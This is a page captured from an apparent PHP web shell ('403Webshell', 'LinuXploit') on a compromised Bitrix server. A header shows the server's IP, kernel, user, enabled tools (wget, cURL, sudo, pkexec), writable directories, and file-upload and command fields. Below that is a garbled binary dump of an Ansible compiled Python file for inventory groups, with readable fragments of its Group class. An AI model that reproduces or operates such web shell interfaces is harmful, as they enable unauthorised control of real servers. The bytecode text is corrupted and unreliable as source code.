403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/inventory/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/inventory/__pycache__/group.cpython-311.opt-1.pyc
�

���c�%���ddlmZmZmZeZddlmZmZddl	m
Z
ddlmZ
ddlmZddlmZmZddlmZddlmZe��Zdd�ZGd�d
��ZdS)�)�absolute_import�division�print_function)�Mapping�MutableMapping)�chain)�	constants)�AnsibleError)�	to_native�to_text)�Display)�combine_vars�_Fc�
�d}|r�tj�|��}|r�dtt	|�����dt|���d�}tjdvs|rRtj�||��}|s/tjdkst�d|z��d}n/tjd	krt�d
|z��d}|rt�	|��|S)N�zinvalid character(s) "z" in group name (�))�never�ignore�silentlyz
Replacing zaInvalid characters were found in group names and automatically replaced, use -vvvv to see detailsrzNot replacing %szWInvalid characters were found in group names but not replaced, use -vvvv to see details)
�C�INVALID_VARIABLE_NAMES�findallr�set�TRANSFORM_INVALID_GROUP_CHARS�sub�display�vvvv�warning)�name�replacer�force�silent�warn�
invalid_chars�msgs       �</usr/lib/python3.11/site-packages/ansible/inventory/group.py�to_safe_group_namer' s���D��u��0�8�8��>�>�
��
	u�
	u�DK�C�P]�L^�L^�D_�D_�D_�D_�ah�im�an�an�an�an�o�C��.�6I�I�I�U�I��/�3�3�H�d�C�C����!�"A�Z�"O�"O��L�L���!3�4�4�4�~�D���2�g�=�=��L�L�!3�c�!9�:�:�:�t�D�����������K�c��eZdZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
dd�Zd�Zd
�Z
ed���Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�Groupz a group of ansible hosts Nc��d|_t|��|_g|_d|_i|_g|_g|_d|_d|_	dS)Nr�)
�depthr'r�hosts�_hosts�vars�child_groups�
parent_groups�_hosts_cache�priority)�selfrs  r&�__init__zGroup.__init__=sP����
�&�t�,�,��	���
������	������� �����
�
�
r(c�*�|���S�N��get_name�r5s r&�__repr__zGroup.__repr__I����}�}���r(c�*�|���Sr8r9r;s r&�__str__z
Group.__str__Lr=r(c�*�|���Sr8)�	serializer;s r&�__getstate__zGroup.__getstate__Os���~�~���r(c�,�|�|��Sr8)�deserialize)r5�datas  r&�__setstate__zGroup.__setstate__Rs������%�%�%r(c���g}|jD])}|�|������*d|_t	|j|j���||j|j	���}|S)N)rr0r2r-r.)
r2�appendrAr/�dictrr0�copyr-r.)r5r2�parent�results    r&rAzGroup.serializeUs���
��(�	5�	5�F�� � ��!1�!1�!3�!3�4�4�4�4�����������!�!�'��*��*�
�
�
���
r(c���|���|�d��|_|�dt����|_|�dd��|_|�dg��|_d|_|�dg��}|D]?}t��}|�	|��|j
�|���@dS)Nrr0r-rr.r2)r6�getrrIr0r-r.r/r*rDr2rH)r5rEr2�parent_data�gs     r&rDzGroup.deserializefs����
�
�����H�H�V�$�$��	��H�H�V�T�V�V�,�,��	��X�X�g�q�)�)��
��X�X�g�r�*�*��
��������"�5�5�
�(�	)�	)�K����A�
�M�M�+�&�&�&���%�%�a�(�(�(�(�	)�	)r(Fc���tg��}tt|�����}|r|�|��|r*|r|gng}|�t|�����|r�|�|��tg��}tj�fd�|D����D]2}|�|��|r||vr|�|���3|�|��|}|��|r|S|S)a�
        Given `rel` that is an iterable property of Group,
        consitituting a directed acyclic graph among all groups,
        Returns a set of all groups in full tree
        A   B    C
        |  / |  /
        | /  | /
        D -> E
        |  /    vertical connections
        | /     are directed upward
        F
        Called on F, returns set of (A, B, C, D, E)
        c3�8�K�|]}t|���V��dSr8)�getattr)�.0rP�rels  �r&�	<genexpr>z+Group._walk_relationship.<locals>.<genexpr>�s+�����/U�/U�A���3���/U�/U�/U�/U�/U�/Ur()	rrS�add�extend�updater�
from_iterablerH�difference_update)	r5rU�include_self�preserve_ordering�seen�unprocessed�ordered�new_unprocessed�new_items	 `       r&�_walk_relationshipzGroup._walk_relationshipts:����2�w�w���'�$��,�,�-�-���	"��O�O�D�!�!�!��	/� ,�4�t�f�f�"�G��N�N�7�4��-�-�.�.�.��	*��K�K��$�$�$�!�"�g�g�O�!�/�/U�/U�/U�/U��/U�/U�/U�U�U�
1�
1���#�#�H�-�-�-�$�1��t�+�+����x�0�0�0���-�-�d�3�3�3�)�K��	*��	��N��r(c�,�|�d��S)Nr2�rcr;s r&�
get_ancestorszGroup.get_ancestors�s���&�&��7�7�7r(c��|jdi|��S)Nr1)r1re)r5�kwargss  r&�get_descendantszGroup.get_descendants�s��&�t�&�@�@��@�@�@r(c�P�|j�t|j��|_|jSr8)r/rr.r;s r&�
host_nameszGroup.host_names�s!���;���d�j�/�/�D�K��{�r(c��|jSr8�rr;s r&r:zGroup.get_name�s
���y�r(c���d}||krtd���||jv�rV|���}|���}||vr:tdt	|j���dt	|j���d����|�|��|�|��d}|j�|��t|j
dz|j
g��|_
|���|jd�|jD��vrG|j�|��|�
��D]}|�|�	���|���|S)
NFzcan't add group to itselfzAdding group 'z' as child to 'z&' creates a recursive dependency loop.Tr,c��g|]	}|j��
S�rm)rTrPs  r&�
<listcomp>z)Group.add_child_group.<locals>.<listcomp>�s�� E� E� E�A��� E� E� Er()�	additions)�	Exceptionr1rfr
rrrWr[rH�maxr-�_check_children_depthr2�	get_hosts�populate_ancestors�clear_hosts_cache)r5�group�added�start_ancestors�
new_ancestors�hs      r&�add_child_groupzGroup.add_child_group�s������5�=�=��7�8�8�8���)�)�)�$�1�1�3�3�O� �.�.�0�0�M��
�%�%�"�l�py�z�{E�qF�qF�qF�qF�HQ�RV�R[�H\�H\�H\�H\�$]�^�^�^����d�#�#�#��+�+�O�<�<�<��E���$�$�U�+�+�+��t�z�A�~�u�{�;�<�<�E�K�
�'�'�)�)�)��y� E� E��1D� E� E� E�E�E��#�*�*�4�0�0�0����*�*�B�B�A��(�(�=�(�A�A�A�A��"�"�$�$�$��r(c���|j}|j}tg��}t|j��}|r�|�|��|dz
}|���}tg��}|D].}|j|kr!||_|�|j���/||z
t|��kr$t
dt|j��z���|��dSdS)Nr,z5The group named '%s' has a recursive dependency loop.)	r-rr1rYrJ�lenr
rr)r5r-�start_depthr^r_�
to_processrPs       r&ruzGroup._check_children_depth�s����
���j���2�w�w���$�+�,�,���
	s��K�K��$�$�$��Q�J�E�$�)�)�+�+�J��b�'�'�K��
7�
7���7�U�?�?�#�A�G��&�&�q�~�6�6�6���{�"�S��Y�Y�.�.�"�#Z�]f�gk�gp�]q�]q�#q�r�r�r��
	s�
	s�
	s�
	s�
	sr(c���d}|j|jvrd|j�|��|j�|j��|�|��|���d}|S�NFT)rrkr.rHr/rW�	add_grouprx)r5�hostrzs   r&�add_hostzGroup.add_host�sp�����9�D�O�+�+��J���d�#�#�#��K�O�O�D�I�&�&�&��N�N�4� � � ��"�"�$�$�$��E��r(c���d}|j|jvrd|j�|��|j�|j��|�|��|���d}|Sr�)rrkr.�remover/�remove_grouprx)r5r��removeds   r&�remove_hostzGroup.remove_host�st�����9���'�'��J���d�#�#�#��K���t�y�)�)�)����d�#�#�#��"�"�$�$�$��G��r(c�&�|dkr$|�t|����dS||jvrSt|j|t��r3t|t
��rt
|j||i��|_dS||j|<dS)N�ansible_group_priority)�set_priority�intr0�
isinstancerrr)r5�key�values   r&�set_variablezGroup.set_variable�s����*�*�*����c�%�j�j�)�)�)�)�)��d�i���J�t�y��~�~�$N�$N��S]�^c�el�Sm�Sm��(���S�%�L�A�A��	�	�	�!&��	�#���r(c�P�d|_|���D]	}d|_�
dSr8)r3rf)r5rPs  r&rxzGroup.clear_hosts_cache�s8�� ����#�#�%�%�	"�	"�A�!�A�N�N�	"�	"r(c�P�|j�|���|_|jSr8)r3�
_get_hostsr;s r&rvzGroup.get_hostss&����$� $��� 1� 1�D��� � r(c��g}i}|�dd���D]?}|j}|D]3}||vr-d||<|jdkr|jr�|�|���4�@|S)NT)r\r]r,�all)rir.r�implicitrH)r5r.r^�kid�	kid_hosts�kks      r&r�zGroup._get_hosts
s��������'�'�T�T�'�R�R�	%�	%�C��	�I��
%�
%���T�>�>� �D��H��y�E�)�)�b�k�)� ��L�L��$�$�$��
%��r(c�4�|j���Sr8)r0rJr;s r&�get_varszGroup.get_varss���y�~�~���r(c�R�	t|��|_dS#t$rYdSwxYwr8)r�r4�	TypeError)r5r4s  r&r�zGroup.set_prioritys:��	���M�M�D�M�M�M���	�	�	��D�D�	���s��
&�&r8)FF)�__name__�
__module__�__qualname__�__doc__r6r<r?rBrFrArDrcrfri�propertyrkr:r~rur�r�r�rxrvr�r�r�rpr(r&r*r*8s�������$�$�
�
�
�
������� � � �&�&�&����")�)�)�%�%�%�%�N8�8�8�A�A�A�����X��
���!�!�!�Fs�s�s�&������'�'�'�"�"�"�!�!�!���� � � �����r(r*N)rFF)�
__future__rrr�type�
__metaclass__�collections.abcrr�	itertoolsr�ansibler	r�ansible.errorsr
�ansible.module_utils._textrr�ansible.utils.displayr
�ansible.utils.varsrrr'r*rpr(r&�<module>r�s��"C�B�B�B�B�B�B�B�B�B��
�3�3�3�3�3�3�3�3�������"�"�"�"�"�"�'�'�'�'�'�'�9�9�9�9�9�9�9�9�)�)�)�)�)�)�+�+�+�+�+�+�
�'�)�)������0h�h�h�h�h�h�h�h�h�hr(

Youez - 2016 - github.com/yon3zu
LinuXploit